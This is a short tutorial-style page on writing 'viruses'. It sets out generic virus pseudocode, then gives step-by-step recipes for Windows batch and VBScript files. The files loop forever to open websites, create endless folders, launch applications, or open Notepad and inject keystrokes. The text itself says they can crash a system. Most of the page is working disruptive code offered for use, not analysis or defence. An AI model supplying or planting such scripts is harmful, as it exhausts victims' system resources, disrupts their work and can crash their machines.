Virus – A basic format

Most of the computer viruses follow the following basic script:

```
Beginvirus

if spread-condition TRUE then begin

    for the target files begin

        if target affected TRUE then begin

            Determine where to place virus instructions

            Copy the virus instructions

            Modify target to spread the virus later

        End if

    End for

End if

Perform some other instruction(s) //Optional

Go back to beginning

Endvirus
```

Basically, every computer virus has two phases –

1. Insertion phase – in this phase, the virus inserts itself into the target.
2. Execution phase- in this phase, the virus performs some actions.

Create Virus

This simple programming can create infinite loop and open three different websites continuously until the command prompt is closed. It may crash the system if it is not closed.

Note: echo off. When echo is turned off, the command prompt doesn't appear in the Command Prompt window. To display the command prompt again, type echo on. **To prevent all commands in a batch file** (including the echo off command) from displaying on the screen, on the first line of the batch file type: @echo off.

1. Open notepad
2. Type following program
   @echo off
   :a
   Start www.youtube.com
   Start www.facebook.com
   Start yahoo.com
   Start www.youtube.com
   Start www.facebook.com
   Start yahoo.com
   Goto :a
3. Save this file as abc.bat
4. Now double click on the abc.bat file that it will continuously add tabs to google chrome.

Following code will create infinite number of folder into system

Type in notepad and save as abc.bat

@echo off

:a

md %random%

goto :a

Type in notepad, save as test.vbs (visual basic) – it will open infinite notepad and type into it.

```
do
Set wshshell = wscript.CreateObject("WScript.Shell")
Wshshell.run "Notepad"
wscript.sleep 100
wshshell.sendkeys "S"
wscript.sleep 100
wshshell.sendkeys "U"
wscript.sleep 100
wshshell.sendkeys "B"
wscript.sleep 100
wshshell.sendkeys "S"
wscript.sleep 100
wshshell.sendkeys "C"
wscript.sleep 100
wshshell.sendkeys "R"
wscript.sleep 100
wshshell.sendkeys "I"
wscript.sleep 100
wshshell.sendkeys "B"
wscript.sleep 100
wshshell.sendkeys "E"
wscript.sleep 100
wshshell.sendkeys "!"
loop
```

type in notepad and save as test.vbs - it will automatically blink these three keys and print I am virus in open file

set x=wscript.createobject ("wscript.shell")

do

wscript.sleep 100

x.sendkeys "{CAPSLOCK}"

x.sendkeys "{NUMLOCK}"

x.sendkeys "I am a virus "

x.sendkeys "{SCROLLLOCK}"

loop

This code will open all the applications one by one.

```
@echo off

:x

start winword

start mspaint

start notepad

start write

start cmd

start explorer

start control

start calc

goto x
```